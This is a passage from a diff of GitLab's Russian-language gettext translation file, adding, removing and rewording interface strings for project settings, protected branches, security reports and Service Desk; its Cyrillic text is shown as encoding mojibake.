msgstr "ПожалуйÑта, проверьте конфигурационный файл Ð´Ð»Ñ Ñтой диаграммы"
@@ -22911,12 +23496,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "ПожалуйÑта, решите reCAPTCHA"
-
msgid "Please try again"
msgstr "ПожалуйÑта, попробуйте ещё раз"
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr "ПожалуйÑта, введите %{phrase_code} чтобы продолжить, или закройте Ñто окно Ð´Ð»Ñ Ð¾Ñ‚Ð¼ÐµÐ½Ñ‹."
@@ -22950,6 +23535,18 @@ msgstr "ИÑпользуемые поды"
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23088,6 +23685,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23112,6 +23715,9 @@ msgstr ""
msgid "Previous commit"
msgstr "Предыдущий коммит"
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr "Предыдущий файл в отличиÑÑ… (diff)"
@@ -23136,6 +23742,9 @@ msgstr "Приоритетные метки"
msgid "Prioritized label"
msgstr "ÐŸÑ€Ð¸Ð¾Ñ€Ð¸Ñ‚ÐµÑ‚Ð½Ð°Ñ Ð¼ÐµÑ‚ÐºÐ°"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr "Приватный"
@@ -23394,8 +24003,8 @@ msgstr "Сделал личный вклад"
msgid "Profiles|Main settings"
msgstr "ОÑновные наÑтройки"
-msgid "Profiles|No file chosen"
-msgstr "Файл не выбран"
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr "Ð­Ð»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð°Ñ Ð¿Ð¾Ñ‡Ñ‚Ð° уведомлений"
@@ -23784,6 +24393,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "ID проекта: %{project_id}"
@@ -23799,50 +24411,83 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
-msgstr "Дополнительные возможноÑти запроÑа на ÑлиÑние, которые влиÑÑŽÑ‚ на то, как и когда будут выполнÑÑ‚ÑŒÑÑ ÑлиÑниÑ"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
+msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
msgstr "Ð’Ñе обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð´Ð¾Ð»Ð¶Ð½Ñ‹ быть разрешены"
@@ -23895,26 +24540,29 @@ msgstr "РееÑÑ‚Ñ€ контейнеров"
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr "Отключить ÑƒÐ²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾ Ñлектронной почте"
msgid "ProjectSettings|Do not allow"
msgstr "Ðе разрешать"
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
-msgstr "Включить опцию 'Удалить иÑходную ветку' по умолчанию"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
+msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
-msgstr "Каждый ÑлиÑние Ñоздает коммит ÑлиÑниÑ"
+msgid "ProjectSettings|Every merge creates a merge commit."
+msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
msgstr "Каждый проект может иметь Ñвоё ÑобÑтвенное проÑтранÑтво Ð´Ð»Ñ Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð·Ð¾Ð² Docker"
@@ -23925,8 +24573,8 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr "Каждый"
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
-msgstr "СущеÑтвующие запроÑÑ‹ на ÑлиÑние и защищенные ветки не затрагиваютÑÑ"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
+msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
msgstr "Ðе удалоÑÑŒ защитить метку"
@@ -23937,8 +24585,8 @@ msgstr "Ðе удалоÑÑŒ обновить метку!"
msgid "ProjectSettings|Fast-forward merge"
msgstr "БыÑтрое ÑлиÑние"
-msgid "ProjectSettings|Fast-forward merges only"
-msgstr "Только быÑтрые ÑлиÑниÑ"
+msgid "ProjectSettings|Fast-forward merges only."
+msgstr ""
msgid "ProjectSettings|Forks"
msgstr "ОтветвлениÑ"
@@ -23949,12 +24597,12 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
-msgstr ""
-
msgid "ProjectSettings|Internal"
msgstr "ВнутреннÑÑ"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
+msgstr ""
+
msgid "ProjectSettings|Issues"
msgstr "ОбÑуждениÑ"
@@ -23985,11 +24633,14 @@ msgstr "Параметры ÑлиÑниÑ"
msgid "ProjectSettings|Merge requests"
msgstr "ЗапроÑÑ‹ на ÑлиÑние"
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr "ÐŸÑ€ÐµÐ´Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð¾ ÑлиÑнию"
-msgid "ProjectSettings|No merge commits are created"
-msgstr "Коммиты ÑлиÑÐ½Ð¸Ñ Ð½Ðµ ÑоздаютÑÑ"
+msgid "ProjectSettings|No merge commits are created."
+msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
msgstr "Примечание: рееÑÑ‚Ñ€ контейнеров вÑегда виден, еÑли проект публичный"
@@ -24012,15 +24663,9 @@ msgstr "Pages"
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr "Сборочные линии"
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "Сборочные линии должны уÑпешно выполнитьÑÑ"
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr "Сборочные линии должны быть наÑтроены, чтобы включить Ñту функциональноÑÑ‚ÑŒ."
-
msgid "ProjectSettings|Private"
msgstr "ЛичнаÑ"
@@ -24051,7 +24696,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24060,8 +24705,8 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
-msgstr "Показать ÑÑылку Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ / проÑмотра запроÑа на ÑлиÑние при отправке из командной Ñтроки"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
+msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
msgstr ""
@@ -24081,16 +24726,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr "Сообщение коммита иÑпользуетÑÑ, чтобы применÑÑ‚ÑŒ Ð¿Ñ€ÐµÐ´Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа на ÑлиÑние"
-
-msgid "ProjectSettings|The variables GitLab supports:"
-msgstr "Переменные, которые поддерживаютÑÑ GitLab:"
+msgid "ProjectSettings|Supported variables:"
+msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr "Эти проверки должны пройти, прежде чем запроÑÑ‹ на ÑлиÑние будут объединены"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
+msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24102,12 +24744,15 @@ msgstr "Эта наÑтройка применÑетÑÑ Ð½Ð° уровне ÑеÑ
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr "Эта наÑтройка будет применена Ð´Ð»Ñ Ð²Ñех проектов, еÑли иное поведение не переопределено админиÑтратором."
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
-msgstr "Это будет показывать иÑторию коммитов, когда вы Ñливаете Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
+msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24135,11 +24780,11 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
-msgstr "Когда возникают конфликты, пользователю предоÑтавлÑетÑÑ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾ÑÑ‚ÑŒ объединить изменениÑ, Ñделанные в одной ветке, Ñ Ð´Ñ€ÑƒÐ³Ð¾Ð¹ веткой"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
+msgstr ""
msgid "ProjectSettings|Wiki"
msgstr "Wiki"
@@ -24672,6 +25317,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr "Разрешено ÑлиÑние"
@@ -24693,7 +25347,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr "Одобрение владельцем кода"
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24714,6 +25368,9 @@ msgstr "ТребуетÑÑ Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ðµ от владельцев код
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr "Ðа данный момент нет защищённых веток, защитите ветку Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ формы Ñверху."
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr "Переключить утверждение владельцами кода"
@@ -24888,7 +25545,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25077,8 +25734,8 @@ msgstr "Уменьшить облаÑÑ‚ÑŒ видимоÑти проекта"
msgid "Reduce this project’s visibility?"
msgstr "Уменьшить облаÑÑ‚ÑŒ видимоÑти Ñтого проекта?"
-msgid "Reference:"
-msgstr "СÑылка:"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr ""
@@ -25244,7 +25901,7 @@ msgstr "Релизы"
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr "Релизы базируютÑÑ Ð½Ð° тегах Git и отмечают конкретные Ð¿Ñ€Ð¾Ð´Ð²Ð¸Ð¶ÐµÐ½Ð¸Ñ Ð² иÑтории разработки проекта. Они Ñодержат информацию про изменениÑ, а также могут предоÑтавлÑÑ‚ÑŒ артефакты проекта - Ñкомпилированные верÑии ПО, например."
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25256,7 +25913,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25280,6 +25937,9 @@ msgstr "Удалить %{displayReference}"
msgid "Remove Zoom meeting"
msgstr "Удалить вÑтречу в Zoom"
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr "Удалить вÑех ответÑтвенных или одного конкретного"
@@ -25328,9 +25988,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr "Удалить из доÑки"
-
msgid "Remove from epic"
msgstr "Удалить из цели"
@@ -25577,6 +26234,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Сообщил %{reportedBy} %{timeAgo}"
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25624,8 +26284,8 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "КлаÑÑ"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr ""
@@ -25650,6 +26310,12 @@ msgstr[3] ""
msgid "Reports|Failure"
msgstr "Отказ"
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25776,6 +26442,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr "ОчиÑтка репозиториÑ"
@@ -25872,6 +26541,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26188,7 +26860,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26332,6 +27007,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26365,9 +27043,6 @@ msgstr "Ð’Ñ‹ иÑпользовали %{quotaUsed} из %{quotaLimit} ваших
msgid "Running"
msgstr "ВыполнÑетÑÑ"
-msgid "Running…"
-msgstr "ВыполнÑетÑÑ…"
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr "ЗапуÑкает Ñ€Ñд Ñлужебных задач в текущем репозитории, таких как Ñжатие верÑий файлов и удаление недоÑтупных объектов."
@@ -26464,6 +27139,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr "Сохранить пароль"
@@ -26482,6 +27160,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26506,9 +27187,6 @@ msgstr "РаÑпиÑаниÑ"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr "Планирование"
-
msgid "Scheduling Pipelines"
msgstr "Планирование Сборочных Линий"
@@ -26560,6 +27238,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26611,6 +27292,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26620,6 +27304,9 @@ msgstr ""
msgid "Search milestones"
msgstr "ПоиÑк Ñтапов"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26847,6 +27534,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26869,7 +27559,7 @@ msgid "SecurityConfiguration|Could not retrieve configuration data. Please refre
msgstr ""
msgid "SecurityConfiguration|Create Merge Request"
-msgstr ""
+msgstr "Создать Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
msgstr ""
@@ -26922,13 +27612,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26937,10 +27633,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26955,6 +27651,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27012,16 +27711,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -27087,15 +27798,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr "Произошла ошибка при добавлении комментариÑ."
@@ -27147,9 +27849,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27159,9 +27858,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27198,6 +27894,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr "Выберите файл на левой боковой панели, чтобы начать редактирование. ПоÑле Ñтого вы Ñможете зафикÑировать Ñвои изменениÑ."
@@ -27207,7 +27906,7 @@ msgstr "Выберите группу"
msgid "Select a label"
msgstr "Выберите метку"
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27237,9 +27936,15 @@ msgstr "Выбор временной зоны"
msgid "Select all"
msgstr "Выбрать вÑе"
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr "Выбрать ответÑтвенного"
@@ -27294,9 +27999,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27390,6 +28092,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27528,21 +28233,45 @@ msgstr "Служба поддержки"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
-msgstr "Служба поддержки включена, но ещё не активна"
-
-msgid "Service Desk is not enabled"
-msgstr "Служба поддержки не включена"
-
-msgid "Service Desk is not supported"
-msgstr "Служба поддержки не поддерживаетÑÑ"
-
msgid "Service Templates"
msgstr "Шаблоны Служб"
msgid "Service URL"
msgstr ""
+msgid "ServiceDesk|Enable Service Desk"
+msgstr ""
+
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -27642,6 +28371,9 @@ msgstr "ÐаÑтройте макÑимальное чиÑло минут длÑ
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27696,7 +28428,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "уÑтановите пароль"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27708,6 +28440,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr "ОчиÑтить ÑтатуÑ"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "Изменить ÑтатуÑ"
@@ -27729,6 +28464,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr "Как у Ð²Ð°Ñ Ð´ÐµÐ»Ð°?"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr "УÑтанавливает %{epic_ref} как родительÑкую цель."
@@ -27938,9 +28676,15 @@ msgstr[3] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
